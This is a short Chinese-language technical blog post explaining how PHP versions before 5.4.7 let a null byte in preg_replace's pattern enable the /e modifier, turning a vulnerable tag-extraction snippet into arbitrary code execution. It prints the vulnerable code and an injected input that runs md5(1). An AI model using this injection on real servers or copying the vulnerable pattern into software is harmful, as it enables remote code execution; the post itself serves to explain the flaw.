[PHP] < 5.4.7 preg_replace 利用 截斷執行程式碼

2018, Dec 02    

在PHP < 5.4.7以前,preg_replace的第一個參數可以利用\0進行截斷,並將正則模式修改為e。 眾所周知,e模式的正則支持執行代碼,此時將可構造一個任意代碼執行漏洞。

比如如下代碼:

<?php
$tag = $_GET['tag'];
$pattern = "|<{$tag}>(.*?)</{$tag}>|i";
$data = preg_replace($pattern, '\1', $_GET['html']);
echo $data;

本意是將html中某個tag的值提取出來,用戶傳入完整的html,和待提取的tag名。

此時,我們可以傳入tag為(.*)|e\x00,傳入html為<md5(1);,最終即可執行代碼`:

如上圖,md5(1)被成功執行。

資料來源

https://tricking.io/card/16/content